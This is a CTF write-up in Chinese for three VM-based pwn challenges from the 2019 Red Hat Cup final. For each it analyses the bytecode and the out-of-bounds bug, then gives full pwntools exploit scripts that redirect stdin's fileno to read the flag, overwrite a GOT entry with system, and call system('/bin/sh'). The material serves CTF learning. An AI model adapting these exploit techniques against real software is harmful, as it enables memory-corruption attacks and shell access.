2019红帽杯final三道pwn的wp

太远了没有去…赛后别的师傅给的题目.做了三道vm类的题目,json解析的做不来…

RHVM

1
2
3
4
5
6
7
fd = open("/flag", 0);
if ( fd == -1 )
{
puts("What?");
exit(-1);
}
dup2(fd, 563);

初始化函数这里打开了flag文件,并将文件描述符重定向到563.程序结束后:

1
2
3
4
5
printf("Could you tell me your name?");
__isoc99_scanf("%99s", &v0);
printf("Goodbye~ %s\n", &v0);
puts("See you next time.");
exit(0);

根据国赛决赛的一道题类似,将stdin的fileno修改为563,这里scanf的时候就会读取到flag,然后打印出来.

字节码分析

一个字节长度为8byte,但只用了6byte.
低位4byte是字节码的类型,紧接着的1byte是第一个操作数,再接着的1byte是第二个操作数:
例如:

1
2
3
4
5
6
op = *(_DWORD *)ptr;
...
if ( op == 0xC0 )
{
MulReg(&Reg[*(unsigned __int8 *)(ptr + 4)], &Reg[*(unsigned __int8 *)(ptr + 5)]);
}

用到的字节码有这些:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def Read(idx1,value):
return opcode(0x40,idx1,value)
def MovDataToReg(idx1,idx2):
return opcode(0x42,idx1,idx2)#reg[reg[idx1]] = data[reg[idx2]]
def MovRegToData(idx1,idx2):
return opcode(0x41,idx1,idx2)#data[reg[idx1]] = reg[idx2]
def SubReg(idx1,idx2):
return opcode(0xd0,idx1,idx2)
def AddReg(idx1,idx2):
return opcode(0xa0,idx1,idx2)
def LeftShift(idx1,idx2):
return opcode(0xe0,idx1,idx2)
def PushReg(idx):
return opcode(0x70,0,idx)
def PopReg(idx):
return opcode(0x80,0,idx)
def MulReg(idx1,idx2):
return opcode(0xc0,idx1,idx2)

MovDataToReg和MovRegToData可以越界读取Data段,Data段在程序本身的bss段上:

1
2
3
4
5
6
7
8
9
10
11
12
.bss:0000000000203050 EIP_            dd ?                    ; DATA XREF: Show+5Er
.bss:0000000000203050 ; SubEIP:loc_1297r ...
.bss:0000000000203054 align 8
.bss:0000000000203058 Stack_addr dq ? ; DATA XREF: PushReg+2Ar
.bss:0000000000203058 ; Pop+1Br ...
.bss:0000000000203060 ; _DWORD Reg[8]
.bss:0000000000203060 Reg dd 8 dup(?) ; DATA XREF: do_init+CFo
.bss:0000000000203060 ; Show+34↑o ...
.bss:0000000000203080 ; _DWORD DataAddr[4096]
.bss:0000000000203080 DataAddr dd 1000h dup(?) ; DATA XREF: Mov_Reg_to_data+37↑o
.bss:0000000000203080 ; Mov_data_2_Reg+36↑o
.bss:0000000000203080 _bss ends

利用思路

后向溢出读取bss段上的stderr的值,将其地址存放在寄存器数组中.然后将地址运算到&_IO_2_1_stdin_.file._fileno
再利用后向溢出,修改Stack_addr到&_IO_2_1_stdin_.file._fileno - 4 , 然后利用Push写入563,修改fileno为563.

这里读入寄存器的数据只能是大于0小于8:

1
2
if ( ESP_ > 0x1000 || ESP_ < 0 || *(_BYTE *)(ptr + 4) > 8u || *(_BYTE *)(ptr + 5) > 8u || len < (unsigned int)EIP_ )
Bad_Exit();

数字很小,需要运算半天才能运算到想要的数字,贼麻烦…

完整的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#coding=utf-8
from pwn import *
local = 1
exec_file="./RHVM.bin"
context.binary=exec_file
context.terminal=["tmux","splitw","-h"]
elf=ELF(exec_file,checksec = False)
if local :
a=process(exec_file)
if context.arch == "i386" :
libc=ELF("/lib/i386-linux-gnu/libc.so.6",checksec = False)
elif context.arch == "amd64" :
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec = False)
else:
a=remote("")
def get_base(a):
text_base = a.libs()[a._cwd+a.argv[0].strip('.')]
for key in a.libs():
if "libc.so.6" in key:
return text_base,a.libs()[key]
def debug():
text_base,libc_base=get_base(a)
script="set $text_base="+str(text_base)+'\n'+"set $libc_base="+str(libc_base)+'\n'
script+='''
set $reg = ($text_base+0x0000000000203060)
b *($text_base+0x0000000000001B15)
'''
gdb.attach(a,script)
def fuck(address):
n = globals()
for key,value in n.items():
if value == address:
return success(key+" ==> "+hex(address))
def opcode(op,idx1,idx2):
p = (op<<16) | (idx1<<8) | idx2
return p
def Init(len):
a.sendlineafter("EIP: ","0")
a.sendlineafter("ESP: ","0")
a.sendlineafter("Give me code length: \n",str(len))
a.recvuntil("Give me code: \n")
def Read(idx1,value):
return opcode(0x40,idx1,value)
def MovDataToReg(idx1,idx2):
return opcode(0x42,idx1,idx2)#reg[reg[idx1]] = data[reg[idx2]]
def MovRegToData(idx1,idx2):
return opcode(0x41,idx1,idx2)#data[reg[idx1]] = reg[idx2]
def SubReg(idx1,idx2):
return opcode(0xd0,idx1,idx2)
def AddReg(idx1,idx2):
return opcode(0xa0,idx1,idx2)
def LeftShift(idx1,idx2):
return opcode(0xe0,idx1,idx2)
def PushReg(idx):
return opcode(0x70,0,idx)
def PopReg(idx):
return opcode(0x80,0,idx)
def MulReg(idx1,idx2):
return opcode(0xc0,idx1,idx2)
payload = [
Read(1,8),# reg[1] = 12
Read(2,1),
SubReg(0,1),# reg[0] = 0-8=-4
SubReg(0,1),# reg[0] = -16
Read(3,4),#reg[3] = 4
MovDataToReg(3,0),# reg[8] = data[-16]
AddReg(0,2),#reg[0] = -15
AddReg(3,2),#reg[3] = 5
MovDataToReg(3,0), # get stderr addr
Read(6,5),#reg[6] = 5
Read(7,8),
AddReg(7,2),#reg[7]= 9
LeftShift(6,7),
AddReg(7,1),
SubReg(7,2),
SubReg(7,2),
Read(1,5),
LeftShift(7,1),
Read(1,8),
AddReg(7,1),
AddReg(7,1),
AddReg(6,7),
SubReg(4,6),# ==> stdin.fileno
SubReg(3,2),
SubReg(4,3),# ==> stdin.fileno-4

AddReg(0,1),#reg[0] = -15+8 = -7
SubReg(0,2),#reg[0] = -8
SubReg(0,2),#reg[0] = -9
MovRegToData(0,5),
SubReg(3,2),#reg[3] = 4
SubReg(0,2),#reg[0] = -10
MovRegToData(0,4),
MulReg(1,1),
AddReg(1,3),
AddReg(1,7),
PushReg(1)# fileno ==> 0x233
]
print len(payload)
Init(len(payload))
for i in payload:
a.sendline(str(i))
a.interactive()

VM

保存虚拟机信息的结构体:

1
2
3
4
5
6
7
8
00000000 VMInfo          struc ; (sizeof=0x2C, mappedto_5)
00000000 Reg dd 6 dup(?)
00000018 SP_ dd ?
0000001C BP_ dd ?
00000020 Text_Ptr dd ?
00000024 field_24 dd ?
00000028 Stack_addr dd ?
0000002C VMInfo ends

这道题分析的字节码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
0x70 | 0x3 :
PUSH (dword)value
SP-=4
*SP = value

0x70 | 0 :
PUSH (byte )reg_index
SP-=4
*SP = Reg[reg_index]

0x30
RegDec (byte)index
Reg[index] --

0x50 | 0x3 :
RegSub byte(index) (dword)value
Reg[idx] -= value

0x50| 0:
RegSub byte(index1) byte(index2)
Reg[idx1] -= Reg[idx2]

0x60 | 0x3:
Mov byte(idx) (dword)value
Reg[idx] = value

0x60 | 0x0:
Mov byte(idx1) byte(idx2)
Reg[idx1] = Reg[idx2]

0x40 | 0x3 :
Add
0x80:
POP
pop (byte)idx
Reg[idx] = *SP
SP+=4

Reg数组可以越界读写。

利用思路:

Stack和Text都保存在堆中:

1
2
3
4
v0->Stack_addr = (int)calloc(4u, 0x40u);
...
Text_Ptr = malloc(0x200u);
ptr->Text_Ptr = (int)Text_Ptr;

这样可以越界读取到Text的地址,保存到寄存器中,再运算到堆中保存有堆地址的地方,利用putchar,泄露heap地址:

1
2
3
4
5
6
7
8
9
10
payload = AddReg(3,8)   # reg[3] = 0x093d1140
payload += Sub(3,0x120) #reg[3] = 0x093d1120
payload += Show()
for i in range(3):
payload+=Add(3,1)
payload+=Show()
payload+='\xb0'
new(payload.ljust(0x1FF,'\x00'))
run()
heap_base = u32(a.recvuntil("1.new",drop=True))-0x134

这样就可以计算出Stack_addr的值和got表地址之间的偏移,再将Stack_addr减到free_got附近(我这里将他修改到了printf_got)。
然后将printf的地址pop到寄存器中,然后将printf的地址运算到system函数的地址,再Push到free_got上,这样free_got的值就变成了system函数的地址。
最后在buf里写入sh字符串,退出程序即可getshell。
完整的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#coding=utf-8
from pwn import *
local = 1
exec_file="./pwn"
context.binary=exec_file
context.terminal=["tmux","splitw","-h"]
elf=ELF(exec_file,checksec = False)
if local :
a=process(exec_file)
if context.arch == "i386" :
libc=ELF("/lib/i386-linux-gnu/libc.so.6",checksec = False)
elif context.arch == "amd64" :
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec = False)
else:
a=remote("")
def get_base(a):
text_base = a.libs()[a._cwd+a.argv[0].strip('.')]
for key in a.libs():
if "libc.so.6" in key:
return text_base,a.libs()[key]
def debug():
text_base,libc_base=get_base(a)
script="set $text_base="+str(text_base)+'\n'+"set $libc_base="+str(libc_base)+'\n'
script+='''
b *0x8048F54
'''
gdb.attach(a,script)
def fuck(address):
n = globals()
for key,value in n.items():
if value == address:
return success(key+" ==> "+hex(address))
def menu(idx):
a.sendafter("4.exit\n>>> ",str(idx).ljust(9,'\x00'))
def new(payload):
menu(1)
a.send(payload)
def run():
menu(2)
def Pop(idx):
return "\x80"+p8(idx)
def PushReg(idx):
return "\x70"+p8(idx)
def Push(value):
return "\x73"+p32(value)
def Show():
return "\x10\x01"
def AddReg(idx1,idx2):
return "\x40"+p8(idx1)+p8(idx2)
def Add(idx1,value):
return "\x43"+p8(idx1)+p32(value)
def SubReg(idx1,idx2):
return "\x50"+p8(idx1)+p8(idx2)
def Sub(idx,value):
return "\x53"+p8(idx)+p32(value)
def Mov(idx,value):
return "\x05"+p8(idx)+p32(value)
def Exit():
return "\xb0"
free_got = 0x804B018
payload = AddReg(3,8) # reg[3] = 0x093d1140
payload += Sub(3,0x120) #reg[3] = 0x093d1120
payload += Show()
for i in range(3):
payload+=Add(3,1)
payload+=Show()
payload+='\xb0'
new(payload.ljust(0x1FF,'\x00'))
run()
heap_base = u32(a.recvuntil("1.new",drop=True))-0x134
fuck(heap_base)
target_addr = heap_base+0x0804c474-0x804c000
offset = target_addr-0x804B014
payload = Sub(6,offset)#SP = printf_got
payload += Pop(0)
payload += Sub(0,libc.symbols["printf"]-libc.symbols["system"])
payload += Pop(1)
payload += PushReg(0)
payload += Exit()
new(payload.ljust(0x1ff,'\x00'))
run()
payload=""
for i in range(62):
payload+=Push(0)
payload+=Push(u32("sh\x00\x00"))
payload += Exit()
new(payload.ljust(0x1ff,'\x00'))
run()
menu(3)
a.interactive()

PVP GAME

这道题防护的话只能够提供defence文件.然后程序读取defence文件来对攻击者的payload进行检查.

程序读取输入后,对输入的字符串进行base64解码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
_BYTE *__fastcall Base64Decode(const char *src)
{
int v2; // [rsp+10h] [rbp-220h]
int v3; // [rsp+14h] [rbp-21Ch]
signed __int64 OrignLen; // [rsp+18h] [rbp-218h]
signed __int64 len; // [rsp+20h] [rbp-210h]
_BYTE *dest; // [rsp+28h] [rbp-208h]
int v7[126]; // [rsp+30h] [rbp-200h]
unsigned __int64 v8; // [rsp+228h] [rbp-8h]

qmemcpy(v7, &unk_1B60, 0x1ECuLL);
len = strlen(src);
if ( strstr(src, "==") ) // base64
{
OrignLen = 3 * (len / 4) - 2;
}
else if ( strchr(src, '=') )
{
OrignLen = 3 * (len / 4) - 1;
}
else
{
OrignLen = 3 * (len / 4);
}
dest = calloc(1uLL, OrignLen + 1);
dest[OrignLen] = 0;
v2 = 0;
v3 = 0;
while ( v2 < len - 2 )
{
dest[v3] = ((unsigned __int8)v7[(unsigned __int8)src[v2 + 1]] >> 4) | 4 * v7[(unsigned __int8)src[v2]];
dest[v3 + 1] = ((unsigned __int8)v7[(unsigned __int8)src[v2 + 2]] >> 2) | 16 * v7[(unsigned __int8)src[v2 + 1]];
dest[v3 + 2] = LOBYTE(v7[(unsigned __int8)src[v2 + 3]]) | ((unsigned __int8)v7[(unsigned __int8)src[v2 + 2]] << 6);
v3 += 3;
v2 += 4;
}
return dest;
}

然后运行defence文件提供的字节码来对输入的code进行检查:

1
2
3
4
5
6
7
8
9
10
11
for ( i = 0; i <= 23; ++i )
CheckOpcode(
Defence,
a2,
24LL * i,
a4,
a5,
a6,
DefenceContent[i].opcode,
DefenceContent[i].arg1,
DefenceContent[i].arg2);

最后运行我们输入的字节码:

1
2
3
for ( j = 0; j <= 15; ++j )
RunOpcode(Defence, a2, 24LL * j, a4, a5, a6, Code[j].opcode, Code[j].arg1, Code[j].arg2);
return puts("Game Over!");

这里字节码非常简单,就是简单的压入数据和执行函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if ( op == 0x10 )
{
Reg[Index] = arg2;
result = (_QWORD *)(Index++ + 1);
}
...
else if ( op == 0x40 )
{
...
if ( Index == 1 )
{
v11 = (void (__fastcall *)(_QWORD, __int64))GetFuncAddr(&arg1);
v11(Reg[Index - 1], a2);
}
...

这两条字节码就够我们拿到shell了。
GetFuncAddr是根据传入的字符串来获得对应函数的地址:

1
2
3
4
void *__fastcall GetFuncAddr(const char *a1)
{
return dlsym(handle, a1);
}

程序开头给我了们libc的地址,这里我们只需要将bin_sh的地址保存在Reg[0]中,然后调用system函数即可:

1
2
3
4
5
6
a.recvuntil("gift:")
libc_base=eval(a.recvuntil("\n",drop=True))
bin_sh_addr = libc_base+next(libc.search("/bin/sh"))
code = PushData(bin_sh_addr)
code += RunFunction("system")
Run(code)

完整的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#coding=utf-8
from pwn import *
local = 1
exec_file="./pwn"
context.binary=exec_file
context.terminal=["tmux","splitw","-h"]
elf=ELF(exec_file,checksec = False)
if local :
a=process(exec_file)
if context.arch == "i386" :
libc=ELF("/lib/i386-linux-gnu/libc.so.6",checksec = False)
elif context.arch == "amd64" :
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec = False)
else:
a=remote("")
def get_base(a):
text_base = a.libs()[a._cwd+a.argv[0].strip('.')]
for key in a.libs():
if "libc.so.6" in key:
return text_base,a.libs()[key]
def debug():
text_base,libc_base=get_base(a)
script="set $text_base="+str(text_base)+'\n'+"set $libc_base="+str(libc_base)+'\n'
script+='''
b *
'''
gdb.attach(a,script)
def fuck(address):
n = globals()
for key,value in n.items():
if value == address:
return success(key+" ==> "+hex(address))
def Opcode(op,v1,v2):
return p64(op)+p64(v1)+p64(v2)
def PushData(value):
return Opcode(0x10,0,value)
def RunFunction(fname):
return p64(0x40)+fname.ljust(8,'\x00')+p64(0)
def Run(code):
a.sendafter("code:",base64.b64encode(code))
a.recvuntil("gift:")
libc_base=eval(a.recvuntil("\n",drop=True))
bin_sh_addr = libc_base+next(libc.search("/bin/sh"))
code = PushData(bin_sh_addr)
code += RunFunction("system")
Run(code)
a.interactive()